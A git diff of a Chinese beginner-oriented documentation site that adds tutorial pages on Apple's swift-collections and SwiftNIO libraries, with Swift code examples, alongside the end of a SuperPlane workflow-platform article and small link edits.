+SuperPlane 已支持数十个集成，覆盖：
+
+- **AI/LLM**：Claude、OpenAI、Perplexity、Cursor
+- **版本控制与 CI/CD**：GitHub、GitLab、Bitbucket、CircleCI、Harness、Octopus Deploy、Render、Semaphore
+- **云平台**：AWS（ECR、Lambda、CloudWatch、SNS、CodeArtifact）、GCP、Azure、Cloudflare、DigitalOcean、Hetzner
+- **可观测性**：Datadog、Grafana、Prometheus、Sentry、Honeycomb、New Relic、Elastic、Dash0
+- **事件管理**：PagerDuty、Incident.io、FireHydrant、Rootly、Statuspage
+- **通信**：Slack、Discord、Teams、Telegram、SendGrid、SMTP
+- **工单**：Jira、ServiceNow
+- **开发者工具**：Daytona、JFrog Artifactory、LaunchDarkly
+
+每个集成通常提供两类组件：**Trigger**（触发器，监听事件）和 **Action**（动作，执行操作）。
+
+## 六、安装与上手
+
+最简单的开始方式是 Docker 单节点：
+
+```bash
+docker pull ghcr.io/superplanehq/superplane-demo:stable
+docker run --rm -p 3000:3000 -v spdata:/app/data -ti ghcr.io/superplanehq/superplane-demo:stable
+```
+
+然后打开 `http://localhost:3000` 即可开始。
+
+生产部署支持：
+- **单节点**：AWS EC2、GCP Compute Engine、Hetzner、DigitalOcean、Linode、通用服务器
+- **Kubernetes**：GKE、EKS 等
+
+## 七、关键设计要点回顾
+
+| 要点 | 说明 |
+|------|------|
+| 事件驱动模型 | 每个节点接收事件、处理、产出 payload，下游节点订阅继续 |
+| 可视化画布 | 有向图形式，节点 + 连线 = 完整工作流 |
+| 消息链 | 所有节点的 payload 自动累积，任何节点都能引用上游数据 |
+| 输出通道 | 节点可以有多个输出（passed/failed、approved/rejected），按语义路由 |
+| 版本控制 | 画布支持草稿-编辑-发布的工作流，修改后手动发布 |
+| 暂停恢复 | 可以暂停某个节点，事件仍会排队，恢复后继续处理 |
+| 运行时分离 | 每次 run 独立，payload 不自动跨 run 共享 — 需要 Memory 持久化 |
+| 表达式引擎 | 基于 Expr，支持丰富的数据处理和转换能力 |
+
+## 八、下一步
+
+SuperPlane 的核心价值在于：**把分散在各处的工作流集中管理，用可视化方式让团队共享运营意图，而不是散落在一堆脚本和文档里。**
+
+对于零基础学习者，建议按以下顺序深入学习：
+
+1. 先用 Docker 跑起来，完成官方 Quickstart
+2. 理解 Canvas → Component Node → Payload → Message Chain 这条核心链路
+3. 尝试连接一个集成（比如 GitHub + Slack），做一个简单的自动化
+4. 学习 Memory 和 Expressions，开始处理更复杂的跨 run 场景
+
+官方文档：https://docs.superplane.com
diff --git a/src/content/docs/projects/swc.md b/src/content/docs/projects/swc.md
index f3a292370..2603281b9 100644
--- a/src/content/docs/projects/swc.md
+++ b/src/content/docs/projects/swc.md
@@ -172,6 +172,7 @@ pub fn process(mut program: Program, _: ()) -> Program {
 
 - [[ast-grep]] —— ast-grep — 按语法树搜代码、改代码的命令行工具
 - [[biome]] —— Biome — JS/TS 工具链一体化（Rust 写的 linter+formatter）
+- [[boa-engine]] —— boa-engine — 用 Rust 写出的可嵌入 JavaScript 引擎
 - [[bun]] —— Bun — JS 全能运行时
 - [[dust]] —— dust — du 的可视化替代，按目录大小排树状条形图
 - [[esbuild]] —— esbuild — 用 Go 写的极速 JS bundler
diff --git a/src/content/docs/projects/swift-collections.md b/src/content/docs/projects/swift-collections.md
new file mode 100644
index 000000000..5aa06a629
--- /dev/null
+++ b/src/content/docs/projects/swift-collections.md
@@ -0,0 +1,278 @@
+---
+title: swift-collections — Apple 官方 Swift 数据结构补充包
+来源: https://github.com/apple/swift-collections
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**swift-collections** 是 Apple 开源的 Swift Package，在标准库 `Array`、`Set`、`Dictionary` 之外，提供一批**生产级**、**值语义**、**带完整文档与基准测试**的数据结构实现。仓库地址：[apple/swift-collections](https://github.com/apple/swift-collections)，Apache-2.0 协议，当前稳定版约 1.4.x，要求 Swift 6.0+。
+
+日常类比：
+
+- 标准库的 `Array` / `Set` / `Dictionary` 像宜家**三件套基础家具**——家家都有，够用，但款式固定。
+- **swift-collections** 像同一品牌的**扩展配件柜**：双头进出的「传送带队列」、按插入顺序排队的「有序名单」、专门存 0/1 的「密实开关墙」、能随时取最小/最大值的「优先级转盘」——都是和基础款**同一设计语言**（`Collection` 协议、值类型、Copy-on-Write），但针对特定场景把性能或语义打磨得更顺手。
+
+最小接入方式（Swift Package Manager）：
+
+```swift
+// Package.swift
+dependencies: [
+    .package(url: "https://github.com/apple/swift-collections.git", from: "1.4.0"),
+],
+targets: [
+    .target(name: "MyApp", dependencies: [
+        .product(name: "Collections", package: "swift-collections"),
+    ]),
+]
+```
+
+应用代码里通常一行导入常用类型：
+
+```swift
+import Collections  // Deque, OrderedSet, OrderedDictionary, Heap, BitSet, BitArray …
+```
+
+## 为什么重要
+
+零基础学 Swift / iOS / 服务端（[[vapor]]、[[swift-nio]]）时，迟早会遇到标准库「差一点」的场景：
+
+| 痛点 | 标准库行为 | swift-collections 的补位 |
+|------|------------|---------------------------|
+| 队列：两端频繁插入删除 | `Array` 在**头部**插入要整体挪动，O(n) | `Deque` 环形缓冲区，两端摊还 O(1) |
+| 需要唯一元素，又要**保持插入顺序** | `Set` 无序；`Array` 去重慢 | `OrderedSet`：唯一 + 有序 + O(1) 成员检测 |
+| 字典要**稳定遍历顺序**（配置、表单、LRU 键列表） | `Dictionary` 顺序未定义 | `OrderedDictionary`：键值对按插入顺序排列 |
+| 大量 `Set<Int>` 或 `Array<Bool>` | 每个元素占完整机器字，浪费 | `BitSet` / `BitArray` 按位打包 |
+| 优先级队列、定时器、Top-K | 手写堆或引入第三方 | `Heap`：min-max 堆，O(1) 取极值 |
+
+它是 Apple 自家维护、与 Swift 语言演进同步的库，被 Swift 标准库团队用作**新容器设计的试验田**；许多 API 风格会反哺未来 Swift 标准库。学它等于学「Swift 官方认可的容器写法」。
+
+## 包结构与模块
+
+不必一次学完所有模块。按用途记下面这张表即可：
+
+| 模块 | 主要类型 | 一句话 |
+|------|----------|--------|
+| `Collections` | 聚合导出 | 日常开发**只 import 这个** |
+| `DequeModule` | `Deque` | 双端队列 |
+| `OrderedCollections` | `OrderedSet`, `OrderedDictionary` | 保序集合/字典 |
+| `BitCollections` | `BitSet`, `BitArray` | 紧凑位图 |
+| `HeapModule` | `Heap` | 优先级队列（min-max 堆） |
+| `HashTreeCollections` | `TreeSet`, `TreeDictionary` | 持久化/共享友好的哈希树（较新） |
+| `BasicContainers` | `UniqueArray` 等 | 底层/进阶容器原语 |
+
+此外还有带 `Unstable*` trait 的实验特性（排序容器预览等），生产环境先用**稳定**模块即可。
+
+## 核心概念
+
+### 1. 值语义与 Copy-on-Write（COW）
+
+与 `Array` 一样，`Deque`、`OrderedSet` 等默认是**结构体 + 值语义**：赋值产生逻辑副本，但底层存储在「只读共享」时可延迟复制。修改其中一个副本时才真正拷贝缓冲区。多线程下仍要注意：两个线程同时写**同一个**变量需要同步；各自持有副本则互不影响。
+
+### 2. Deque — 双端队列（环形缓冲区）
+
+`Deque<Element>`（读作 "deck"）实现**两端高效**插入与删除。内部是**环形数组**：逻辑上的「队头」可以在物理数组任意位置，避免 `Array.insert(at: 0, …)` 时全体元素平移。
+
+- 接口接近 `Array`：下标、`append`、`remove(at:)`、`RandomAccessCollection`
+- 额外强调队头操作：`prepend`、`popFirst`、`prepend(contentsOf:)`
+- **头部**插入/删除：Deque 远快于 Array；**随机下标读**：两者接近，Array 有时略胜
+- 不暴露稳定 `capacity`（与 `Array` 不同），容量是实现细节
+
+典型场景：BFS 队列、撤销栈+重做栈、滑动窗口、任何「两头动、中间少动」的缓冲。
+
+### 3. OrderedSet — 唯一 + 插入顺序
+
+`OrderedSet<Element>` 同时提供：
+
+- 像 `Set`：`contains` 均摊 O(1)
+- 像 `Array`：按插入顺序遍历、下标访问、`elements` 导出为 `Array`
+
+实现上：**一个 `Array` 存元素 + 一张哈希表存「元素 → 数组下标」**。因此：
+
+- 在**尾部**增删：接近 O(1)
+- 在**中间/头部**增删：要挪动数组并更新哈希表，O(n)——与 `Array` 类似，**不像** `Set` 那样任意位置都是 O(1)
+
+适合：标签列表、去重且保序的 ID 流、需要 `OrderedSet` 当 `Array` 用但又怕重复键的业务。
+
+### 4. OrderedDictionary — 保序键值对
+
+`OrderedDictionary<Key, Value>` 在 `Dictionary` 的哈希查找能力上，**保证键值对按插入顺序排列**，并支持按整数下标随机访问（通过 `values` 集合或专用视图）。
+
+注意：为避免「下标到底是 key 还是 index」的歧义，它**不直接** conform `Collection`，而是提供 `elements` 等视图做随机访问。
+
+`keys` 视图类型是 `OrderedSet<Key>`；`values` 是可变的随机访问集合。实现 = `OrderedSet` 管键顺序 + `Array` 平行存值。
+
+适合：JSON 式配置（顺序有意义）、表单字段、按插入顺序展示的缓存键列表。
+
+### 5. BitSet / BitArray — 位压缩
+
+- `BitSet`：非负 `Int` 集合的紧凑表示，类似 `Set<Int>` 但省内存
+- `BitArray`：类似 `[Bool]`，每位一个布尔，适合大规模标志位、布隆过滤器底层、位图索引
+
+当元素本质是「整数 ID 或 0/1」且规模大时，优先考虑。
+
+### 6. Heap — min-max 优先级队列
+
+`Heap<Element: Comparable>` 基于**数组实现的 min-max 堆**（Atkinson et al. 1986）：
+
+| 操作 | 复杂度 |
+|------|--------|
+| `min` / `max` | O(1) |
+| `insert` | O(log n) |
+| `popMin` / `popMax` | O(log n) |
+
+同一结构里既能快速取**最小**也能取**最大**，适合事件调度、合并 K 路有序流、需要偶尔 peek 两端的算法。`Heap` 本身不是 `Sequence`，避免「遍历顺序」语义混乱；需要无序扫一遍可用 `unordered` 视图。
+
+## 代码示例
+
+### 示例 1：用 Deque 实现浏览历史（后退 / 前进）
+
+```swift
+import Collections
+
+struct BrowserHistory {
+    private var back: Deque<URL> = []
+    private var forward: Deque<URL> = []
+
+  mutating func visit(_ url: URL) {
+        back.append(url)
+        forward.removeAll()  // 新访问清空前进栈
+    }
+
+  mutating func goBack() -> URL? {
+        guard back.count > 1 else { return nil }
+        let current = back.removeLast()
+        forward.append(current)
+        return back.last
+    }
+
+  mutating func goForward() -> URL? {
+        guard let next = forward.popLast() else { return nil }
+        back.append(next)
+        return next
+    }
+}
+```
+
+若在 `Array` 上频繁 `removeFirst()` / `insert(..., at: 0)`，每次 O(n)；`Deque` 在两端操作是摊还常数时间，滑动窗口和 BFS 同理。
+
+### 示例 2：OrderedDictionary 保持配置项顺序
+
+```swift
+import Collections
+
+var settings: OrderedDictionary<String, String> = [
+    "theme": "dark",
+    "language": "zh-Hans",
+    "fontSize": "16",
+]
+
+// 哈希查找仍然 O(1)
+if settings["theme"] == "dark" {
+    settings["accent"] = "blue"  // 新键追加在末尾
+}
+
+// 按插入顺序导出给 UI 列表
+for (key, value) in settings {
+    print("\(key) = \(value)")
+}
+// theme → language → fontSize → accent
+
+// 需要纯数组 API 时
+let keys: OrderedSet<String> = settings.keys
+let values: [String] = Array(settings.values)
+```
+
+若用 `Dictionary`，`for (k, v) in dict` 的顺序**不保证**跨运行一致；做「设置页」「manifest」类 UI 时，`OrderedDictionary` 省掉自己维护 `keys: [String]` 的胶水代码。
+
+### 示例 3：Heap 驱动简易任务调度
+
+```swift
+import Collections
+
+struct Task: Comparable {
+    let deadline: Date
+    let name: String
+    static func < (lhs: Task, rhs: Task) -> Bool { lhs.deadline < rhs.deadline }
+}
+
+var queue = Heap([
+    Task(deadline: .now + 60, name: "backup"),
+    Task(deadline: .now + 5, name: "ping"),
+    Task(deadline: .now + 30, name: "sync"),
+])
+
+while let urgent = queue.popMin() {
+    run(urgent)
+}
+// 总是先执行 deadline 最早的任务
+```
+
+`popMin` 与 `popMax` 让你在同一堆里兼顾「下一个最早」和「下一个最晚」，比手写 `Array` 排序或维护两个堆更省事。
+
+## 与标准库怎么选
+
+```text
+需要唯一？ ──否──► Array / Deque
+    │
+    是
+    │
+需要稳定顺序？ ──否──► Set / Dictionary
+    │
+    是
+    │
+OrderedSet / OrderedDictionary
+
+两端频繁增删？ ──是──► Deque（而不是 Array）
+
+只要优先级？ ──是──► Heap
+
+元素是 Int 集合或 Bool 向量且很密？ ──是──► BitSet / BitArray
+```
+
+经验法则：**没有测量就不要过早优化**；先用 `Array` + `Dictionary` 写对逻辑，Profiler 显示热点在容器操作上，再换成 swift-collections 里对应类型。
+
+## 性能与测试文化
+
+仓库自带 **swift-collections-benchmark** 目标，用可复现图表对比 `Array`/`Set`/`Deque` 等在各操作上的吞吐。文档里常见「在 M 系列 MacBook 上 Release 构建测得」一类说明——含义是：**性能特征受实现版本影响**，升级 minor 版本后若容器在热路径上，值得重跑基准。
+
+复杂度上记住几条就够：
+
+- `Deque`：两端 `append`/`pop` 摊还 O(1)；中间插入 O(n)
+- `OrderedSet` / `OrderedDictionary`：尾部增删 O(1) 级；中间增删 O(n)；`contains` 均摊 O(1)
+- `Heap`：见上表
+- `BitSet`：位运算友好的成员与集合操作，具体常数因子看稀疏/稠密
+
+## 常见误区
+
+1. **把 OrderedSet 当成「任意位置 O(1) 的 Set」** — 中间插入仍贵，和数组类似。
+2. **以为 OrderedDictionary 下标可以用 Int 直接取键** — 键下标是 `Key`；按下标访问要用文档里的 `elements` 等视图，避免与 `Dictionary` 习惯混淆。
+3. **在 Deque 上假设连续内存** — 环形缓冲可能两段不连续，与 `Array.withUnsafeBufferPointer` 一类优化交互时要读文档。
+4. **忽略模块粒度** — 只想用 `Deque` 时可 `import DequeModule` 减少编译依赖；应用层 `import Collections` 最省心。
+
+## 生态与相关项目
+
+- **服务端**：[[vapor]]、[[swift-nio]] 生态里的中间件、连接池、缓冲队列常借 Deque 做无锁单线程缓冲。
+- **客户端**：列表差分、撤销栈、播放队列（「上一首 / 下一首」）是 Deque 主场。
+- **跨语言 CRDT**：[[automerge]] 等有 Swift 绑定；本地优先应用里 Ordered* 类型常和「稳定序列化顺序」一起出现。
+- **标准库未来**：swift-collections 中成熟的 API 有机会进入 Swift 标准库；早学可减少日后迁移摩擦。
+
+## 学习路径建议
+
+1. **第一天**：`import Collections`，用 `Deque` 替换一个 `Array` 队列，用 `OrderedDictionary` 做一个有序设置页。
+2. **第二天**：读官方 [Deque](https://github.com/apple/swift-collections/blob/main/Documentation/Deque.md)、[OrderedSet](https://github.com/apple/swift-collections/blob/main/Documentation/OrderedSet.md) 文档里的复杂度说明。
+3. **第三天**：在热路径用 Instruments 或 benchmark 对比 `Array` vs `Deque`；若做调度器，实现一版 `Heap` 定时器。
+4. **进阶**：按需阅读 `HashTreeCollections`（持久化共享）、`BasicContainers`（`UniqueArray` 等非拷贝容器方向）。
+
+## 小结
+
+swift-collections 不是替代标准库，而是 Apple 提供的**官方扩展工具箱**：在保持 Swift 值类型与协议一致的前提下，补齐**双端队列、保序集合/字典、位图、堆**等缺口。零基础记住三句话即可上手：
+
+1. 两头动的队列用 **Deque**。
+2. 要唯一或键值对且**顺序有意义**用 **OrderedSet / OrderedDictionary**。
+3. 要反复取最小/最大用 **Heap**。
+
+仓库文档齐全、带基准测试，适合作为学习 Swift 集合抽象与工程化容器实现的第一站。
diff --git a/src/content/docs/projects/swift-nio.md b/src/content/docs/projects/swift-nio.md
new file mode 100644
index 000000000..a7590576c
--- /dev/null
+++ b/src/content/docs/projects/swift-nio.md
@@ -0,0 +1,324 @@
+---
+title: swift-nio — Apple 异步事件驱动网络框架
+来源: https://github.com/apple/swift-nio
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**swift-nio**（SwiftNIO）是 Apple 开源的**跨平台、事件驱动、非阻塞 I/O** 网络框架，用来快速搭建高性能协议服务器与客户端。仓库地址：[apple/swift-nio](https://github.com/apple/swift-nio)，Apache-2.0 协议，SSWG **Graduated** 级别项目，GitHub 约 8k+ star。官方一句话：**「It's like Netty, but written for Swift.」**
+
+日常类比：
+
+- 传统「一个连接一个线程」的服务器，像一家餐厅**每个顾客配一名专属服务员**——顾客少时还行，上千人同时等菜时，服务员（线程）数量爆炸，光换人交接就忙不过来。
+- SwiftNIO 像一家**中央调度的大堂**：少数几个熟练工（EventLoop / 线程）在吧台后轮转，谁点的菜好了、谁要结账，内核通过 `epoll` / `kqueue` 通知调度台，调度台把活派给对应的「桌号」（Channel）。**一个工人可以同时照看多桌**，不会因为新来一桌就新雇一个人。
+
+因此 SwiftNIO 特别适合：**连接多、但每个连接并不一直满载**的场景——HTTP API、WebSocket、代理、数据库协议客户端等。上层框架 [[vapor]]、AsyncHTTPClient、gRPC-Swift、PostgresNIO 等，底层 I/O 往往都建在 SwiftNIO 之上。
+
+最小依赖（Swift Package Manager）：
+
+```swift
+// Package.swift
+dependencies: [
+    .package(url: "https://github.com/apple/swift-nio.git", from: "2.80.0"),
+],
+targets: [
+    .executableTarget(name: "MyServer", dependencies: [
+        .product(name: "NIOPosix", package: "swift-nio"),
+        .product(name: "NIOCore", package: "swift-nio"),
+    ]),
+]
+```
+
+日常开发也可以直接 `import NIO`（伞模块，导出 Core + Posix + Embedded）。
+
+## 为什么重要
+
+零基础学 Swift 服务端时，理解 SwiftNIO 能帮你回答这些问题：
+
+| 问题 | SwiftNIO 提供的答案 |
+|------|---------------------|
+| 为什么不用「每连接一线程」？ | 线程栈与上下文切换成本高；SwiftNIO 用少量 EventLoop  multiplex 成千上万连接 |
+| 数据在内存里怎么表示？ | `ByteBuffer`：Copy-on-Write 字节缓冲，避免频繁分配 |
+| 协议解析和业务逻辑放哪？ | `ChannelPipeline` + `ChannelHandler`：像流水线工位，入站/出站分开处理 |
+| 异步结果怎么组合？ | `EventLoopFuture` / `EventLoopPromise`：在**同一个 EventLoop** 上链式调度，避免数据竞争 |
+| 和 [[swift-collections]] 什么关系？ | 不同层：collections 管数据结构；NIO 管网络事件与 I/O 生命周期 |
+
+SwiftNIO **不是** Web 框架——它不会帮你路由 URL 或渲染模板。它是**垫在下面的砖**：你要写 HTTP 服务，通常用 Vapor / Hummingbird；要写原始 TCP、自定义协议、或读懂上层库的行为，才需要直接碰 NIO。
+
+## 仓库与模块结构
+
+主仓库拆成多个 product，按职责记这张表即可：
+
+| 模块 | 作用 | 谁该 import |
+|------|------|-------------|
+| `NIOCore` | EventLoop、Channel、Handler、ByteBuffer、Future 等抽象 | 扩展库、协议实现 |
+| `NIOPosix` | Linux/macOS 上基于 epoll/kqueue 的高性能实现 | 真正做网络 I/O 的可执行程序 |
+| `NIOEmbedded` | 内存里的假 EventLoop/Channel | **单元测试**、不碰网卡的协议调试 |
+| `NIOHTTP1` / `NIOWebSocket` | HTTP/1.1、WebSocket **底层**编解码 | 需要裸协议或自定义 pipeline 时 |
+| `NIOFoundationCompat` | `ByteBuffer` ↔ `Data` 互转 | 和 Foundation 混用时 |
+
+TLS、HTTP/2、SSH 等在**独立仓库**（`swift-nio-ssl`、`swift-nio-http2`、`swift-nio-ssh` 等），按需加依赖，不必一次全装。
+
+## 核心概念
+
+### 1. EventLoop 与 EventLoopGroup
+
+**EventLoop** 是 SwiftNIO 的心脏：一个**长期运行**的循环，等待 I/O 就绪或已提交的闭包，然后在**同一线程**上执行回调。可以把它想成「专管网络事件的 serial `DispatchQueue`」——保证挂在该 loop 上的 Channel 回调**不需要额外加锁**（只要你不在 handler 里把活丢到别的线程乱写共享状态）。
+
+**EventLoopGroup** 是一组 EventLoop。生产环境常用 `MultiThreadedEventLoopGroup(numberOfThreads: System.coreCount)`：每个 CPU 核心一个线程，每个线程一个 `SelectableEventLoop`（内部用 epoll/kqueue 监听文件描述符）。
+
+要点：
+
+- 应用生命周期内 EventLoop 数量通常**很少**（≈ CPU 核数），而不是 ≈ 连接数。
+- 新连接会**绑定**到 group 里某一个 EventLoop（常见 round-robin），该连接生命周期内不换 loop。
+- 跨 EventLoop 传数据要用 `execute` / Future 跳转，不能假设随便哪个线程都能碰 Channel。
+
+### 2. Channel — 一条连接的抽象
+
+**Channel** 代表一个 I/O 对象（最常见是 TCP socket）。它负责：
+
+- 管理底层文件描述符生命周期
+- 提供 `read` / `write` / `close`
+- 持有 **ChannelPipeline**（处理器链）
+
+每个 Channel 只属于一个 EventLoop。内核通知「某个 fd 可读」时，EventLoop 会唤醒对应 Channel 的 pipeline。
+
+### 3. ChannelPipeline 与 ChannelHandler
+
+Pipeline 是挂在 Channel 上的**双向链表工位**：
+
+```
+入站（读）:  socket → Handler A → Handler B → 你的业务 Handler
+出站（写）:  socket ← Handler A ← Handler B ← 你的业务 Handler
+```
+
+- **入站（Inbound）**：数据从网络进来，从 pipeline **头**往**尾**传（例如：字节 → HTTP 解析 → 你的路由）
+- **出站（Outbound）**：响应从**尾**往**头**传，最后写到 socket（例如：你的对象 → JSON 编码 → ByteBuffer）
+
+`ChannelInboundHandler` / `ChannelOutboundHandler` 是协议；实现时声明 `InboundIn`、`OutboundOut` 类型（底层几乎都是 `ByteBuffer`）。
+
+类比：快递分拣中心——**入站**是卸货口依次扫码、拆包；**出站**是装车口依次打包、贴单。同一包裹经过不同工位，但顺序固定。
+
+### 4. ByteBuffer
+
+网络读写的基本单位。`ByteBuffer` 是 **Copy-on-Write** 的字节容器，支持 `readSlice`、`getString`、`writeInteger` 等，避免 Swift `Array<UInt8>` 频繁拷贝。从 socket 读到的数据、要发出去的 HTTP 报文，在 NIO 层通常都是 `ByteBuffer`。
+
+### 5. Bootstrap — 启动服务器的模板
+
+- **`ServerBootstrap`**：监听端口，每接受一个客户端就创建一个子 Channel，并配置其 pipeline。
+- **`ClientBootstrap`**：主动连接远端，配置 pipeline 后发起连接。
+
+常见链式配置：`.serverChannelOption`（监听 socket 选项）、`.childChannelInitializer`（每个连接要加哪些 Handler）、`.bind(host:port:)`。
+
+### 6. EventLoopFuture 与 Promise
+
+异步操作的结果用 **`EventLoopFuture<T>`** 表示（类似「稍后会有值的单子」）。**`EventLoopPromise<T>`** 用来在将来某个时刻 `succeed` 或 `fail` 该 Future。
+
+规则：**在创建 Future 的 EventLoop 上完成 Promise**；用 `.map`、`.flatMap` 链式组合，避免阻塞 `wait()`（测试代码除外）。
+
+## 代码示例
+
+### 示例 1：Echo TCP 服务器（经典入门）
+
+客户端发什么，服务器原样回显。展示 Bootstrap、Handler、ByteBuffer 的最小闭环：
+
+```swift
+import NIOCore
+import NIOPosix
+
+final class EchoHandler: ChannelInboundHandler {
+    typealias InboundIn = ByteBuffer
+    typealias OutboundOut = ByteBuffer
+
+    func channelRead(context: ChannelHandlerContext, data: NIOAny) {
+        let input = unwrapInboundIn(data)
+        guard let message = input.getString(at: input.readerIndex, length: input.readableBytes) else {
+            return
+        }
+        var buffer = context.channel.allocator.buffer(capacity: message.utf8.count)
+        buffer.writeString(message)
+        context.write(wrapOutboundOut(buffer), promise: nil)
+    }
+
+    func channelReadComplete(context: ChannelHandlerContext) {
+        context.flush()
+    }
+
+    func errorCaught(context: ChannelHandlerContext, error: Error) {
+        print("error: \(error)")
+        context.close(promise: nil)
+    }
+}
+
+@main
+struct EchoServer {
+    static func main() throws {
+        let group = MultiThreadedEventLoopGroup(numberOfThreads: System.coreCount)
+        defer { try? group.syncShutdownGracefully() }
+
+        let bootstrap = ServerBootstrap(group: group)
+            .serverChannelOption(ChannelOptions.backlog, value: 256)
+            .serverChannelOption(ChannelOptions.socketOption(.so_reuseaddr), value: 1)
+            .childChannelInitializer { channel in
+                channel.pipeline.addHandler(EchoHandler())
+            }
+
+        let channel = try bootstrap.bind(host: "127.0.0.1", port: 2048).wait()
+        print("Echo server on \(channel.localAddress!)")
+        try channel.closeFuture.wait()
+    }
+}
+```
+
+**逐段理解**：
+
+- `EchoHandler.channelRead`：从 `NIOAny` 解包成 `ByteBuffer`，再写回出站——**还没有 `flush` 时数据可能在缓冲区**。
+- `channelReadComplete`：一批读事件结束后 `flush()`，把出站缓冲真正推到 socket。
+- `errorCaught`：NIO 约定——pipeline 里未处理的错误要在这里关闭连接，否则资源泄漏。
+- `defer { group.syncShutdownGracefully() }`：进程退出前优雅关掉所有 EventLoop 线程。
+
+测试：终端 `nc 127.0.0.1 2048`，输入一行应原样返回。
+
+### 示例 2：用 NIOAsyncChannel 的 echo（Swift 并发风格）
+
+SwiftNIO 2.60+ 提供 **`NIOAsyncChannel`**，用 `async/await` 读写 Channel，适合新代码与结构化并发：
+
+```swift
+import NIOCore
+import NIOPosix
+
+func runEchoServer() async throws {
+    let server = try await ServerBootstrap(group: MultiThreadedEventLoopGroup.singleton)
+        .bind(host: "0.0.0.0", port: 2048) { channel in
+            channel.eventLoop.makeCompletedFuture {
+                try NIOAsyncChannel(
+                    wrappingChannelSynchronously: channel,
+                    configuration: .init(
+                        inboundType: ByteBuffer.self,
+                        outboundType: ByteBuffer.self
+                    )
+                )
+            }
+        }
+        .get()
+
+    print("Listening on \(server.channel.localAddress!)")
+
+    try await withThrowingDiscardingTaskGroup { group in
+        group.addTask {
+            while let client = try await server.inbound.next() {
+                group.addTask {
+                    try await handleClient(client)
+                }
+            }
+        }
+    }
+}
+
+func handleClient(_ client: NIOAsyncChannel<ByteBuffer, ByteBuffer>) async throws {
+    try await client.executeThenClose { inbound, outbound in
+        for try await buffer in inbound {
+            try await outbound.write(buffer)
+        }
+    }
+}
+```
+
+**和示例 1 的对比**：
+
+- 不再手写 `ChannelInboundHandler`，用 `for try await` 消费入站流。
+- 每个客户端可在独立 `Task` 里处理，但底层读写仍由 Channel 所属 EventLoop 驱动。
+- 适合与 Swift 6 并发模型结合；底层原理仍是 EventLoop + ByteBuffer。
+
+### 示例 3：EmbeddedChannel 做无网络单元测试
+
+不想起真端口时，用 `EmbeddedChannel` 在内存里模拟 pipeline：
+
+```swift
+import NIOCore
+import NIOEmbedded
+import XCTest
+
+final class EchoHandlerTests: XCTestCase {
+    func testEcho() throws {
+        let channel = EmbeddedChannel()
+        try channel.pipeline.syncOperations.addHandler(EchoHandler())
+
+        var buffer = channel.allocator.buffer(capacity: 8)
+        buffer.writeString("hello")
+        try channel.writeInbound(buffer)
+
+        var outbound: ByteBuffer = try channel.readOutbound()!
+        XCTAssertEqual(outbound.readString(length: outbound.readableBytes), "hello")
+        XCTAssertTrue(try channel.finish().isClean)
+    }
+}
+```
+
+这是 NIO 生态的常规测试姿势：**协议 Handler 与真 socket 解耦**，CI 里跑得飞快。
+
+## 与上层框架的关系
+
+```mermaid
+flowchart TB
+    subgraph app [应用层]
+        Vapor[Vapor / Hummingbird]
+        AHC[AsyncHTTPClient]
+        GRPC[grpc-swift]
+    end
+    subgraph nio [SwiftNIO]
+        HTTP[NIOHTTP1 / NIOWebSocket]
+        Core[NIOCore + NIOPosix]
+    end
+    subgraph os [操作系统]
+        Epoll[epoll / kqueue]
+    end
+    Vapor --> HTTP
+    AHC --> HTTP
+    GRPC --> Core
+    HTTP --> Core
+    Core --> Epoll
+```
+
+你写 REST API：**优先选上层框架**。只有以下情况才值得直接写 NIO：
+
+- 实现自定义 TCP/UDP 协议
+- 编写或调试 `ChannelHandler`（如 HTTP 升级、代理透传）
+- 做性能敏感的网络中间件
+- 阅读 Vapor / postgres-nio 源码
+
+## 常见坑与最佳实践
+
+1. **不要在 EventLoop 上阻塞**：`sleep`、同步文件 IO、长时间 CPU 计算会卡住该 loop 上所有连接。耗时活丢到 `DispatchQueue` 或 `Task`，完成后再 `eventLoop.execute` 回来写 Channel。
+
+2. **`ChannelHandlerContext` 不是线程安全的**：跨线程只能碰 `Channel`（或把闭包提交回正确 EventLoop）。官方 ChatServer 示例用 `DispatchQueue` 保护共享 `Dictionary<Channel>` 就是典型模式。
+
+3. **记得 `flush`**：出站 `write` 可能缓冲；`channelReadComplete` 或业务结束时调用 `context.flush()`。
+
+4. **生产环境优雅关闭**：`serverChannel.close()` + `group.shutdownGracefully()`，让在途请求收尾，避免 RST 风暴。
+
+5. **版本与 Swift 对齐**：当前 2.x 要求 Swift 6.0+（见 README 版本表）；升级 NIO 时连同 `swift-nio-ssl` 等卫星库一起看。
+
+## 学习路径建议
+
+| 阶段 | 做什么 | 目标 |
+|------|--------|------|
+| 1 | 跑通 Echo 服务器 + `nc` 客户端 | 理解 Bootstrap、Handler、ByteBuffer |
+| 2 | 读 `NIOChatServer` 示例（按行分包、广播） | 理解多 Channel、pipeline 组合 |
+| 3 | 用 `EmbeddedChannel` 为 Handler 写测试 | 不依赖网络的 TDD |
+| 4 | 接一个 `NIOHTTP1` pipeline 或转去 Vapor 教程 | 理解 HTTP 只是 pipeline 上多几节 Handler |
+| 5 | 读 AsyncHTTPClient / Vapor 如何 bootstrap NIO | 把「底层砖」和「日常开发」接上 |
+
+官方资源：
+
+- [Conceptual Overview（README）](https://github.com/apple/swift-nio/blob/main/README.md)
+- 仓库内 `Sources/NIOEchoServer`、`Sources/NIOChatServer` 可运行示例
+- Swift on Server：[Using SwiftNIO – Channels](https://swiftonserver.com/using-swiftnio-channels/)
+
+## 小结
+
+SwiftNIO 用**少量 EventLoop + 非阻塞 I/O + Pipeline 式协议栈**，让 Swift 在服务端也能做出 Netty 级别的高并发网络程序。核心记八件事：**EventLoopGroup、EventLoop、Channel、Pipeline、Handler、ByteBuffer、Future/Promise、Bootstrap**。上层框架负责「网站长什么样」，SwiftNIO 负责「字节怎么高效、安全地在内核与你的代码之间流动」。零基础不必一次精通全部 Handler API——先 Echo、再测试、再 HTTP，路径最清晰。
diff --git a/src/content/docs/projects/swiftui-introspect.md b/src/content/docs/projects/swiftui-introspect.md
new file mode 100644
index 000000000..41481619a
--- /dev/null
+++ b/src/content/docs/projects/swiftui-introspect.md
@@ -0,0 +1,287 @@
+---
+title: swiftui-introspect — 从 SwiftUI 视图「透视」到底层 UIKit / AppKit
+来源: https://github.com/siteline/SwiftUI-Introspect
+日期: 2026-06-13
+子分类: 移动端
